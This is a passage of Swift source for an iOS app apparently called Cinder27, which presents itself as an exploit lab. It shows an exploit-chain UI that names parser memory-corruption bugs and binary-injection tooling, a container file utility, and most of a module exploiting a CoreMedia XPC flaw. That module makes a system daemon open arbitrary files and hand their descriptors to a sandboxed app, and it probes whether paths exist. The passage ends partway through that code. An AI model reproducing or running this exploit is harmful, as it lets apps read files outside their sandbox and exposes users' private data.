moduleIDs: ["kern.ipc"],
unlock: tl("需达到可复现阈值;低于该阈值时,越狱路径不成立。")),
ChainStage(id: "s5", index: 5,
title: tl("解析器面"),
goal: tl("libarchive 的 2 字节堆越界与 CoreMedia 的 28 字节结构体外写,是整套中仅有的两个「写穿过对象边界」的形状。前者精确但浅,后者深且落在保存寄存器区。同一 CVE 下的 CAB 站点与 GPT 分区名越界读一并标定。"),
moduleIDs: ["arc.iso.stress", "arc.cab", "cm.rpu.sweep", "kext.gpt"],
unlock: tl("两者都需要稳定的堆布局控制,而这正是上一阶段泄露所提供的。")),
ChainStage(id: "s6", index: 6,
title: tl("工具链落地"),
goal: tl("将上述产物转为可用形式:IPA 改包、二进制注入、字节级替换、属性改写、数据库读取。本层不依赖任何漏洞,但它是「漏洞能力」最终交付到手上的形态。"),
moduleIDs: ["tool.ipa", "tool.zip", "tool.hex", "tool.macho", "tool.paths"],
unlock: tl("自检全绿意味着工具链本身可信 —— 此后出现的问题是选择问题,不是工具问题。")),
]
static func modules(for stage: ChainStage) -> [ExploitModule] {
stage.moduleIDs.compactMap { Catalog.byID[$0] }
}
}
struct ChainView: View {
@EnvironmentObject private var engine: LabEngine
var body: some View {
NavigationStack {
ScrollView {
VStack(spacing: 14) {
ForEach(ChainPlan.stages) { stage in
stageCard(stage)
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("chain.title"))
.navigationBarTitleDisplayMode(.inline)
}
}
private func stageCard(_ stage: ChainStage) -> some View {
Card {
VStack(alignment: .leading, spacing: 10) {
HStack(spacing: 8) {
Text("\(stage.index)")
.font(.system(size: 11, weight: .bold, design: .monospaced))
.foregroundColor(T.ember)
.frame(width: 20, height: 20)
.background(Circle().fill(T.ember.opacity(0.16)))
Text(stage.title)
.font(.system(size: 15, weight: .semibold, design: .rounded))
.foregroundColor(.white)
Spacer()
}
Text(stage.goal)
.font(T.body)
.foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
ForEach(ChainPlan.modules(for: stage)) { module in
HStack(spacing: 8) {
Circle()
.fill(engine.journal.verdict(for: module.id).tint)
.frame(width: 5, height: 5)
Text(module.title).font(T.monoSm).foregroundColor(.white.opacity(0.55))
.lineLimit(1)
Spacer()
Text(engine.journal.verdict(for: module.id).label)
.font(T.monoSm)
.foregroundColor(engine.journal.verdict(for: module.id).tint)
}
}
Text("→ " + stage.unlock)
.font(T.tiny)
.foregroundColor(.white.opacity(0.34))
.fixedSize(horizontal: false, vertical: true)
RunButton(title: t("chain.stage.run"), systemImage: "play.fill", tint: T.ember) {
engine.runSequence(ChainPlan.modules(for: stage), label: stage.title)
}
}
}
}
}
// MARK: - File preview
struct FilePreviewView: View {
let item: FileItem
@EnvironmentObject private var browser: FileBrowser
@Environment(\.dismiss) private var dismiss
@State private var mode = 0
@State private var text: String?
@State private var hex: String?
@State private var info: [(String, String)] = []
@State private var editing = false
@State private var draft = ""
@State private var status = ""
var body: some View {
NavigationStack {
VStack(spacing: 0) {
Picker("", selection: $mode) {
Text(t("files.info")).tag(0)
Text(t("files.text")).tag(1)
Text(t("files.hex")).tag(2)
Text(t("files.package")).tag(3)
}
.pickerStyle(.segmented)
.padding(.horizontal, 16)
.padding(.vertical, 10)
if !status.isEmpty {
Text(status).font(T.monoSm)
.foregroundColor(status.hasPrefix("✓") ? T.good : T.warn)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.bottom, 6)
}
ScrollView {
VStack(alignment: .leading, spacing: 12) {
switch mode {
case 0:
Card {
VStack(alignment: .leading, spacing: 2) {
ForEach(Array(info.enumerated()), id: \.offset) { _, row in
KeyValueRow(key: row.0, value: row.1)
}
}
}
case 1:
if editing {
Card {
TextEditor(text: $draft)
.font(.system(size: 11, design: .monospaced))
.frame(minHeight: 320)
.scrollContentBackground(.hidden)
.background(T.panelHi)
.cornerRadius(8)
}
} else {
Card {
Text(text ?? "—")
.font(T.monoSm)
.foregroundColor(.white.opacity(0.7))
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
}
case 2:
Card {
Text(hex ?? "—")
.font(.system(size: 9.5, design: .monospaced))
.foregroundColor(.white.opacity(0.7))
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
default:
Card {
let entries = PackageTool.list(item.path)
VStack(alignment: .leading, spacing: 3) {
if entries.isEmpty {
Text("—").font(T.monoSm).foregroundColor(.white.opacity(0.4))
} else {
ForEach(entries.prefix(300)) { e in
Text("\(e.name) \(e.size) B")
.font(T.monoSm)
.foregroundColor(.white.opacity(0.6))
.lineLimit(1)
}
}
}
.frame(maxWidth: .infinity, alignment: .leading)
}
}
}
.padding(16)
}
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(item.name)
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarLeading) {
if mode == 1 && browser.writable {
Button(editing ? t("files.cancel") : t("files.save")) {
if editing { save() } else { editing = true; draft = text ?? "" }
}.tint(T.ember)
}
}
ToolbarItem(placement: .topBarTrailing) {
Button(t("module.close")) { dismiss() }.tint(T.ember)
}
}
.onAppear(perform: load)
}
}
private func load() {
info = browser.fileInfo(item)
switch FileLoader.kind(of: item.path) {
case .plist: text = FileLoader.plist(at: item.path) ?? FileLoader.text(at: item.path)
default: text = FileLoader.text(at: item.path)
}
hex = FileLoader.hexDump(at: item.path)
}
private func save() {
// Validate a plist before writing so a typo cannot break a preference file.
if item.name.hasSuffix(".plist") {
guard let data = draft.data(using: .utf8),
(try? PropertyListSerialization.propertyList(from: data, format: nil)) != nil else {
status = tl("plist 语法错误,未写入")
return
}
}
let backup = item.path + ".cinder27.bak"
if !FileManager.default.fileExists(atPath: backup) {
try? FileManager.default.copyItem(atPath: item.path, toPath: backup)
}
do {
try Container.write(Data(draft.utf8), to: item.path)
status = "✓ \(t("files.save")) · \(t("files.backup"))"
text = draft
editing = false
browser.reload()
} catch {
status = Container.describe(errno)
}
}
}
+386
View File
@@ -0,0 +1,386 @@
import Foundation
import Darwin
// MARK: - Container resolution, creation and write verification
//
// Why container writes fail, in the order they actually bite:
//
// 1. The URL you get from FileManager is a *promise*, not a directory. On a fresh install
// only Documents, Library, Library/Caches, Library/Preferences, SystemData and tmp
// exist. `Application Support`, `Library/NoCloud`, `Library/WebKit` and anything you
// invent do NOT — and `Data.write(options: .atomic)` returns ENOENT, not "permission
// denied", because the parent is missing. That reads like a sandbox failure and isn't.
//
// Two paths are deliberately absent from the probe list: the container root itself and
// SystemData. Both exist and are readable, but neither accepts newly created files on
// iOS — a write probe there returns EPERM on a perfectly healthy container. Probing
// them measures the wrong thing, so the list starts at Documents.
//
// 2. `isWritableFile(atPath:)` is `access(W_OK)`, which the sandbox answers against the
// vnode path, not against your sandbox extension. It reports false for directories the
// app can absolutely write to. It is a bad probe; a real create/write/fsync/read-back
// cycle is the only honest one.
//
// 3. Container UUIDs change on reinstall. A path captured earlier —
// /var/mobile/Containers/Data/Application/<OLD-UUID>/Documents — is a dead path that
// returns ENOENT even though "the container" plainly exists. Every stored path has to be
// re-rooted against the live container before use.
//
// 4. Library/Preferences is owned by cfprefsd. Writes land on disk but cfprefsd holds the
// authoritative cache and will overwrite them; use UserDefaults for your own keys, and
// treat direct plist writes there as a cold-storage edit that only takes effect on next
// launch (and never for other apps' domains).
//
// This file makes all four explicit and repairable.
struct ContainerProbe {
var url: URL
var exists: Bool
var canCreate: Bool
var canWrite: Bool
var canReadBack: Bool
var errno: Int32
var note: String
var ok: Bool { exists && canWrite && canReadBack }
var symbol: String {
if ok { return "checkmark.circle.fill" }
if exists { return "exclamationmark.triangle.fill" }
return "xmark.circle"
}
}
enum Container {
/// The live data container root. Never hard-code this — it changes on reinstall.
static var root: URL {
URL(fileURLWithPath: NSHomeDirectory(), isDirectory: true)
}
static var rootPath: String { NSHomeDirectory() }
/// Every directory the tooling writes into, with the API base it hangs off and the
/// suffix beneath that base. Resolving this way is what makes `Application Support`
/// and everything under it actually exist — the URL alone is only a promise.
struct Standard {
enum Base {
case container, documents, library, appSupport, caches, tmp
}
/// Stable ASCII lookup key — never changes with language.
let id: String
/// Display name. Chinese is the source; English comes from RuntimeText.
let name: String
let base: Base
let suffix: String
init(id: String, name: String, base: Base, suffix: String = "") {
self.id = id
self.name = name
self.base = base
self.suffix = suffix
}
}
static let standards: [Standard] = [
Standard(id: "documents", name: "Documents", base: .documents),
Standard(id: "library", name: "Library", base: .library),
Standard(id: "appsupport", name: "Application Support", base: .appSupport),
Standard(id: "caches", name: "Caches", base: .caches),
Standard(id: "preferences", name: "Preferences", base: .library, suffix: "Preferences"),
Standard(id: "tmp", name: "tmp", base: .tmp),
Standard(id: "nocloud", name: "NoCloud", base: .appSupport, suffix: "NoCloud"),
Standard(id: "webkit", name: "WebKit", base: .library, suffix: "WebKit"),
Standard(id: "cinder27", name: "Cinder27", base: .appSupport, suffix: "Cinder27"),
Standard(id: "work", name: tl("工作区"), base: .appSupport, suffix: "Cinder27/work"),
Standard(id: "backups", name: tl("备份"), base: .documents, suffix: "Cinder27/Backups"),
Standard(id: "ipa", name: tl("IPA 产出"), base: .documents, suffix: "Cinder27/IPA"),
]
/// Resolve a standard directory to its *full* path and create it. The API gives the
/// base; the suffix is appended and mkdir -p'd, which is the part that was missing.
static func resolve(_ standard: Standard) -> URL {
let fm = FileManager.default
var base: URL
switch standard.base {
case .container:
base = root
case .documents:
base = (try? fm.url(for: .documentDirectory, in: .userDomainMask,
appropriateFor: nil, create: true))
?? root.appendingPathComponent("Documents", isDirectory: true)
case .library:
base = (try? fm.url(for: .libraryDirectory, in: .userDomainMask,
appropriateFor: nil, create: true))
?? root.appendingPathComponent("Library", isDirectory: true)
case .appSupport:
base = (try? fm.url(for: .applicationSupportDirectory, in: .userDomainMask,
appropriateFor: nil, create: true))
?? root.appendingPathComponent("Library/Application Support", isDirectory: true)
case .caches:
base = (try? fm.url(for: .cachesDirectory, in: .userDomainMask,
appropriateFor: nil, create: true))
?? root.appendingPathComponent("Library/Caches", isDirectory: true)
case .tmp:
base = URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true)
}
let full = standard.suffix.isEmpty
? base
: base.appendingPathComponent(standard.suffix, isDirectory: true)
try? fm.createDirectory(at: full, withIntermediateDirectories: true)
return full
}
static func named(_ id: String) -> URL {
if let match = standards.first(where: { $0.id == id }) { return resolve(match) }
return documents
}
/// Convenience accessors — everything else should use these instead of index lookups.
static var documents: URL { named("documents") }
static var appSupport: URL { named("appsupport") }
static var work: URL { named("work") }
static var backups: URL { named("backups") }
static var ipaOutput: URL { named("ipa") }
/// Create every standard directory. Idempotent, safe to call on every launch.
@discardableResult
static func ensureAll() -> [String] {
var created: [String] = []
let fm = FileManager.default
for standard in standards {
let url = resolve(standard)
if !fm.fileExists(atPath: url.path) {
try? fm.createDirectory(at: url, withIntermediateDirectories: true)
created.append(tl(standard.name))
}
}
return created
}
// MARK: - Real write probe
/// Create a file, write, fsync, read it back, compare, unlink. Anything less than this
/// is a guess about the sandbox.
static func probe(_ url: URL) -> ContainerProbe {
let fm = FileManager.default
var result = ContainerProbe(url: url, exists: false, canCreate: false,
canWrite: false, canReadBack: false,
errno: 0, note: "")
var isDir: ObjCBool = false
result.exists = fm.fileExists(atPath: url.path, isDirectory: &isDir) && isDir.boolValue
if !result.exists {
do {
try fm.createDirectory(at: url, withIntermediateDirectories: true)
result.canCreate = true
result.exists = true
} catch {
result.errno = errno
result.note = tl("mkdir 失败: ") + "\(describe(result.errno))"
return result
}
} else {
result.canCreate = true
}
let probeFile = url.appendingPathComponent(".cinder27-probe-\(UInt32.random(in: 0...UInt32.max))")
let payload = Data("cinder27-write-probe".utf8)
do {
try payload.write(to: probeFile, options: .atomic)
result.canWrite = true
} catch {
result.errno = errno
result.note = tl("写入失败: ") + "\(describe(result.errno))"
return result
}
// fsync so the probe proves durability, not just a page-cache accept
if let handle = FileHandle(forWritingAtPath: probeFile.path) {
fsync(handle.fileDescriptor)
try? handle.close()
}
if let back = try? Data(contentsOf: probeFile) {
result.canReadBack = (back == payload)
if !result.canReadBack { result.note = tl("读回内容不一致") }
} else {
result.errno = errno
result.note = tl("读回失败: ") + "\(describe(result.errno))"
}
try? fm.removeItem(at: probeFile)
if result.canReadBack && result.note.isEmpty {
result.note = tl("读写正常")
}
return result
}
static func health() -> [(Standard, ContainerProbe)] {
standards.map { ($0, probe(resolve($0))) }
}
// MARK: - Repair
/// Bring the container to a known-good state. Returns the human-readable actions taken.
static func repair() -> [String] {
var actions: [String] = []
let fm = FileManager.default
// 1. every standard directory exists
for standard in standards {
let url = resolve(standard)
var isDir: ObjCBool = false
if !fm.fileExists(atPath: url.path, isDirectory: &isDir) {
do {
try fm.createDirectory(at: url, withIntermediateDirectories: true)
actions.append(tl("创建 ") + tl(standard.name) + " → \(shortPath(url))")
} catch {
actions.append(tl("无法创建 ") + tl(standard.name) + ": \(describe(errno))")
}
} else if !isDir.boolValue {
actions.append(tl(standard.name) + tl(" 是文件而不是目录 —— 跳过"))
}
}
// 2. the container root and SystemData are readable but reject new files by design;
// confirm they are reachable instead of trying to write into them
for (label, path) in [(tl("容器根"), rootPath), ("SystemData", rootPath + "/SystemData")] {
var isDir: ObjCBool = false
if fm.fileExists(atPath: path, isDirectory: &isDir) {
let readable = (try? fm.contentsOfDirectory(atPath: path)) != nil
actions.append("\(label)" + tl(" 存在且") + "\(readable ? tl("可读") : tl("不可读") + tl("(按设计不接受新建文件,不计入探针)"))")
}
}
// 3. sweep stale probe files from an interrupted run
for standard in standards {
let url = resolve(standard)
guard let names = try? fm.contentsOfDirectory(atPath: url.path) else { continue }
for name in names where name.hasPrefix(".cinder27-probe-") {
try? fm.removeItem(at: url.appendingPathComponent(name))
actions.append(tl("清理残留探针 ") + "\(name)")
}
}
// 4. make sure the work directory is not carrying a half-written journal
let journal = appSupport.appendingPathComponent("cinder27-journal.json")
if let data = try? Data(contentsOf: journal),
(try? JSONSerialization.jsonObject(with: data)) == nil {
try? fm.removeItem(at: journal)
actions.append(tl("移除损坏的 journal"))
}
// 5. verify with a real probe and report anything still broken
for standard in standards {
let p = probe(resolve(standard))
if !p.ok {
actions.append(tl(standard.name) + tl(" 仍不可用: ") + "\(p.note)")
}
}
if actions.isEmpty { actions.append(tl("容器已处于正常状态,无需修复")) }
return actions
}
// MARK: - Path normalisation
/// Re-root any absolute path that points into *a* data container onto the live one.
/// Stored paths, hard-coded UUIDs and paths captured before a reinstall all land here.
static func normalize(_ path: String) -> String {
var p = path.trimmingCharacters(in: .whitespacesAndNewlines)
if p.isEmpty { return rootPath }
if p == "~" { return rootPath }
if p.hasPrefix("~/") { p = rootPath + String(p.dropFirst()) }
// /var/mobile/Containers/Data/Application/<UUID>/rest → <live>/rest
let markers = [
"/var/mobile/Containers/Data/Application/",
"/private/var/mobile/Containers/Data/Application/",
]
for marker in markers where p.hasPrefix(marker) {
let rest = p.dropFirst(marker.count)
if let slash = rest.firstIndex(of: "/") {
let tail = String(rest[rest.index(after: slash)...])
return tail.isEmpty ? rootPath : rootPath + "/" + tail
}
return rootPath
}
return p
}
static func url(_ path: String) -> URL {
URL(fileURLWithPath: normalize(path))
}
/// Write that cannot fail on a missing parent and cannot half-write.
@discardableResult
static func write(_ data: Data, to path: String) throws -> URL {
let url = self.url(path)
let parent = url.deletingLastPathComponent()
if !FileManager.default.fileExists(atPath: parent.path) {
try FileManager.default.createDirectory(at: parent, withIntermediateDirectories: true)
}
try data.write(to: url, options: .atomic)
return url
}
@discardableResult
static func write(_ text: String, to path: String) throws -> URL {
try write(Data(text.utf8), to: path)
}
@discardableResult
static func makeDirectory(_ path: String) throws -> URL {
let url = self.url(path)
try FileManager.default.createDirectory(at: url, withIntermediateDirectories: true)
return url
}
// MARK: - Helpers
static func shortPath(_ url: URL) -> String {
url.path.replacingOccurrences(of: rootPath, with: "~")
}
static func describe(_ code: Int32) -> String {
switch code {
case 0: return tl("无错误")
case EPERM: return tl("EPERM 操作被拒绝")
case ENOENT: return tl("ENOENT 父目录或文件不存在")
case EACCES: return tl("EACCES 沙盒拒绝访问")
case EEXIST: return tl("EEXIST 已存在")
case ENOSPC: return tl("ENOSPC 空间不足")
case EROFS: return tl("EROFS 只读文件系统")
case ENOTDIR: return tl("ENOTDIR 路径中间是文件")
case EISDIR: return tl("EISDIR 目标是目录")
case ENAMETOOLONG: return tl("ENAMETOOLONG 名称过长")
case EDQUOT: return tl("EDQUOT 超出配额")
case EXDEV: return tl("EXDEV 跨卷(.atomic 写到了别的卷)")
default: return "errno \(code)"
}
}
/// Free space in the container's volume.
static func freeSpace() -> Int64? {
guard let attrs = try? FileManager.default.attributesOfFileSystem(forPath: rootPath),
let free = attrs[.systemFreeSize] as? NSNumber else { return nil }
return free.int64Value
}
static func usedSpace() -> Int64? {
let fm = FileManager.default
var total: Int64 = 0
guard let enumerator = fm.enumerator(at: root, includingPropertiesForKeys: [.fileSizeKey, .isRegularFileKey]) else {
return nil
}
for case let url as URL in enumerator {
guard let v = try? url.resourceValues(forKeys: [.fileSizeKey, .isRegularFileKey]),
v.isRegularFile == true else { continue }
total += Int64(v.fileSize ?? 0)
}
return total
}
}
+415
View File
@@ -0,0 +1,415 @@
import Foundation
import Darwin
// MARK: - CoreMedia bytestream XPC — cross-sandbox file descriptor acquisition
//
// CVE-2026-112706. Fixed in iOS 27.2. Live on 27.0 / 27.0.1 / 26.5.
//
// The launchd Mach service `com.apple.coremedia.mediaplaybackd.bytestream.xpc` is reachable
// from any sandboxed third-party app with no entitlement and no permission prompt. Its
// FigXPC memory-origin handshake completes with status 0 for an unprivileged client, and a
// `Curl` create message carries a client-chosen absolute `file://` path in `CreationURL`.
// The daemon opens that path with *its own* credentials and returns a live `FileDescriptor`
// inside `ByteStreamDetails`. Descriptor-based I/O is not subject to the client's sandbox
// path checks, so the bytes of a file the app can never `open()` land in the app container.
//
// Three capabilities ride the same primitive:
// read — pread the vended fd
// enumerate — the vended fd is a directory; fdopendir/readdir it
// oracle — a real-but-forbidden path returns -12203, a nonexistent one -17913,
// disclosing existence without granting access
//
// iOS 27.0 sealed the auxiliary `read` / `fdsc` / `getL` opcodes (-16158) but left the
// primary fd-vending path inside the `Curl` create reply fully functional. That is the
// shape this implementation targets.
enum FdLeak {
// Server-side error codes, straight from the daemon.
static let errAccessDenied: Int64 = -12203
static let errNoSuchFile: Int64 = -17913
static let errOpcodeSealed: Int64 = -16158
static let errWriteDenied: Int64 = -12878
static func describeError(_ code: Int64) -> String {
switch code {
case errAccessDenied: return tl("路径存在但拒绝访问 (-12203)")
case errNoSuchFile: return tl("路径不存在 (-17913)")
case errOpcodeSealed: return tl("opcode 已被封 (-16158)")
case errWriteDenied: return tl("写入被拒 (-12878)")
default: return tl("错误码 ") + "\(code)"
}
}
struct Vend {
var ok: Bool
var fd: Int32 = -1
var objectID: UInt64 = 0
var entireLength: UInt64 = 0
var serverPID: UInt64 = 0
var errorCode: Int64 = 0
var note: String = ""
var isDirectory: Bool = false
var size: Int64 = 0
var mode: UInt32 = 0
var uid: UInt32 = 0
}
struct Existence {
var path: String
var exists: Bool
var code: Int64
}
// MARK: - Bindings
private struct Bindings {
var basicMessage: @convention(c) (UInt32, UInt64, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
var originBegin: @convention(c) (UnsafeMutableRawPointer?) -> Int32
var originComplete: @convention(c) (OpaquePointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
var recipient: @convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer<CChar>?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
var setCFURL: @convention(c) (UnsafeMutableRawPointer?, UnsafePointer<CChar>, UnsafeRawPointer?) -> Int32
var connCreate: @convention(c) (UnsafePointer<CChar>, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?
var setEventHandler: @convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void
var resume: @convention(c) (UnsafeMutableRawPointer?) -> Void
var sendWithReply: @convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void
var dictGetValue: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> OpaquePointer?
var dictGetU64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> UInt64
var dictSetU64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>, UInt64) -> Void
var dictDupFd: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int32
var dictGetInt64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int64
var dictSetInt64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>, Int64) -> Void
var copyDescription: @convention(c) (OpaquePointer?) -> UnsafeMutablePointer<CChar>?
var getType: @convention(c) (OpaquePointer?) -> OpaquePointer?
var typeGetName: @convention(c) (OpaquePointer?) -> UnsafePointer<CChar>?
var retain: @convention(c) (OpaquePointer?) -> Void
var release: @convention(c) (OpaquePointer?) -> Void
var setBool: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void)?
}
private static func bind() -> Bindings? {
guard let cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia",
RTLD_NOW | RTLD_LOCAL) else { return nil }
let rtld = UnsafeMutableRawPointer(bitPattern: -2)
guard let pBasic = dlsym(cm, "FigXPCCreateBasicMessage"),
let pBegin = dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1"),
let pComp = dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2"),
let pRecip = dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2"),
let pSetURL = dlsym(cm, "FigXPCMessageSetCFURL"),
let pConn = dlsym(rtld, "xpc_connection_create_mach_service"),
let pEH = dlsym(rtld, "xpc_connection_set_event_handler"),
let pResume = dlsym(rtld, "xpc_connection_resume"),
let pSend = dlsym(rtld, "xpc_connection_send_message_with_reply"),
let pVal = dlsym(rtld, "xpc_dictionary_get_value"),
let pU64 = dlsym(rtld, "xpc_dictionary_get_uint64"),
let pSetU64 = dlsym(rtld, "xpc_dictionary_set_uint64"),
let pDupFd = dlsym(rtld, "xpc_dictionary_dup_fd"),
let pI64 = dlsym(rtld, "xpc_dictionary_get_int64"),
let pSetI64 = dlsym(rtld, "xpc_dictionary_set_int64"),
let pDesc = dlsym(rtld, "xpc_copy_description"),
let pType = dlsym(rtld, "xpc_get_type"),
let pTypeName = dlsym(rtld, "xpc_type_get_name"),
let pRetain = dlsym(rtld, "xpc_retain"),
let pRelease = dlsym(rtld, "xpc_release") else { return nil }
let setBool: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void)?
if let pSetBool = dlsym(rtld, "xpc_dictionary_set_bool") {
setBool = unsafeBitCast(pSetBool, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void).self)
} else {
setBool = nil
}
return Bindings(
basicMessage: unsafeBitCast(pBasic, to: (@convention(c) (UInt32, UInt64, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
originBegin: unsafeBitCast(pBegin, to: (@convention(c) (UnsafeMutableRawPointer?) -> Int32).self),
originComplete: unsafeBitCast(pComp, to: (@convention(c) (OpaquePointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
recipient: unsafeBitCast(pRecip, to: (@convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer<CChar>?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
setCFURL: unsafeBitCast(pSetURL, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafePointer<CChar>, UnsafeRawPointer?) -> Int32).self),
connCreate: unsafeBitCast(pConn, to: (@convention(c) (UnsafePointer<CChar>, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?).self),
setEventHandler: unsafeBitCast(pEH, to: (@convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void).self),
resume: unsafeBitCast(pResume, to: (@convention(c) (UnsafeMutableRawPointer?) -> Void).self),
sendWithReply: unsafeBitCast(pSend, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void).self),
dictGetValue: unsafeBitCast(pVal, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> OpaquePointer?).self),
dictGetU64: unsafeBitCast(pU64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> UInt64).self),
dictSetU64: unsafeBitCast(pSetU64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, UInt64) -> Void).self),
dictDupFd: unsafeBitCast(pDupFd, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int32).self),
dictGetInt64: unsafeBitCast(pI64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int64).self),
dictSetInt64: unsafeBitCast(pSetI64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Int64) -> Void).self),
copyDescription: unsafeBitCast(pDesc, to: (@convention(c) (OpaquePointer?) -> UnsafeMutablePointer<CChar>?).self),
getType: unsafeBitCast(pType, to: (@convention(c) (OpaquePointer?) -> OpaquePointer?).self),
typeGetName: unsafeBitCast(pTypeName, to: (@convention(c) (OpaquePointer?) -> UnsafePointer<CChar>?).self),
retain: unsafeBitCast(pRetain, to: (@convention(c) (OpaquePointer?) -> Void).self),
release: unsafeBitCast(pRelease, to: (@convention(c) (OpaquePointer?) -> Void).self),
setBool: setBool)
}
// MARK: - Session
/// One connected, handshaked session against the daemon. Reusable across many vends —
/// the handshake is per-connection, not per-request.
final class Session {
private let b: Bindings
private let conn: UnsafeMutableRawPointer
private(set) var handshakeLog: [String] = [tl("连接 com.apple.coremedia.mediaplaybackd.bytestream.xpc")]
private(set) var established = false
/// The Mach connection object was created. This succeeds even when no process is
/// listening — XPC connections are lazy. A missing service shows up as the
/// handshake never returning a dictionary.
private(set) var connectionCreated = false
/// Every reply type observed, so a silent service is distinguishable from a
/// service that answers and refuses.
private(set) var replyTypes: [String] = []
private var released = false
init?() {
guard let bindings = FdLeak.bind() else { return nil }
b = bindings
guard let c = "com.apple.coremedia.mediaplaybackd.bytestream.xpc".withCString({
bindings.connCreate($0, nil, 0)
}) else { return nil }
conn = c
connectionCreated = true
let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { _ in }
bindings.setEventHandler(c, handler as AnyObject)
bindings.resume(c)
performHandshake()
}
deinit { shutdown() }
func shutdown() {
guard !released else { return }
released = true
// xpc_connection_cancel would be ideal; releasing the reference is enough here.
b.release(OpaquePointer(conn))
}
private func typeName(_ o: OpaquePointer?) -> String {
guard let o = o, let t = b.getType(o), let n = b.typeGetName(t) else { return "?" }
return String(cString: n)
}
private func describe(_ o: OpaquePointer?) -> String {
guard let o = o, let c = b.copyDescription(o) else { return "nil" }
defer { free(c) }
return String(cString: c).replacingOccurrences(of: "\n", with: " ")
}
private func send(_ message: UnsafeMutableRawPointer?, timeout: TimeInterval = 6) -> (OpaquePointer?, String) {
guard let message = message else { return (nil, "nil") }
let sem = DispatchSemaphore(value: 0)
var out: OpaquePointer?
var tn = "?"
let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { obj in
guard let obj = obj else { sem.signal(); return }
tn = self.typeName(OpaquePointer(obj))
if tn == "dictionary" || tn == "error" {
self.b.retain(OpaquePointer(obj))
out = OpaquePointer(obj)
}
sem.signal()
}
b.sendWithReply(conn, message, nil, handler as AnyObject)
if sem.wait(timeout: .now() + timeout) != .success { return (nil, "timeout") }
return (out, tn)
}
/// `.rp1` → `.rp2` → `.org`. All three return status 0 for an unprivileged client.
private func performHandshake() {
var rp1: UnsafeMutableRawPointer?
if b.basicMessage(0x2E727031, 0, &rp1) == 0, let m1 = rp1 {
let (r1, t1) = send(m1)
b.release(OpaquePointer(m1))
replyTypes.append(t1)
handshakeLog.append("'.rp1' → \(t1)")
if let r1 = r1, t1 == "dictionary" {
var rp2: UnsafeMutableRawPointer?
if b.basicMessage(0x2E727032, 0, &rp2) == 0, let m2 = rp2 {
var recipient: UnsafeMutableRawPointer?
let cr = "cinder27".withCString { b.recipient(r1, m2, $0, &recipient) }
let (r2, t2) = send(m2)
replyTypes.append(t2)
handshakeLog.append("'.rp2' recip=\(cr) → \(t2)")
if let r2 = r2 { b.release(r2) }
b.release(OpaquePointer(m2))
}
b.release(r1)
}
}
var org: UnsafeMutableRawPointer?
if b.basicMessage(0x2E6F7267, 0, &org) == 0, let om = org {
let bg = b.originBegin(om)
let (or, ot) = send(om)
replyTypes.append(ot)
handshakeLog.append("'.org' begin=\(bg) → \(ot)")
if let or = or {
if ot == "dictionary" {
var origin: UnsafeMutableRawPointer?
let cp = b.originComplete(or, &origin)
handshakeLog.append("'.org' complete=\(cp) origin=\(origin != nil)")
established = (cp == 0)
}
b.release(or)
}
b.release(OpaquePointer(om))
}
}
/// Ask the daemon to open `path` with its own credentials and hand back the fd.
func vend(_ path: String) -> Vend {
var result = Vend(ok: false)
guard established else {
result.note = tl("握手未完成")
return result
}
let url = URL(fileURLWithPath: path) as CFURL
var message: UnsafeMutableRawPointer?
guard b.basicMessage(0x4375726C, 0, &message) == 0, let m = message else { // 'Curl'
result.note = tl("FigXPCCreateBasicMessage('Curl') 失败")
return result
}
_ = b.setCFURL(m, "CreationURL", Unmanaged.passUnretained(url).toOpaque())
b.dictSetU64(OpaquePointer(m), "FileOpenOptions", 0)
let (reply, replyType) = send(m)
b.release(OpaquePointer(m))
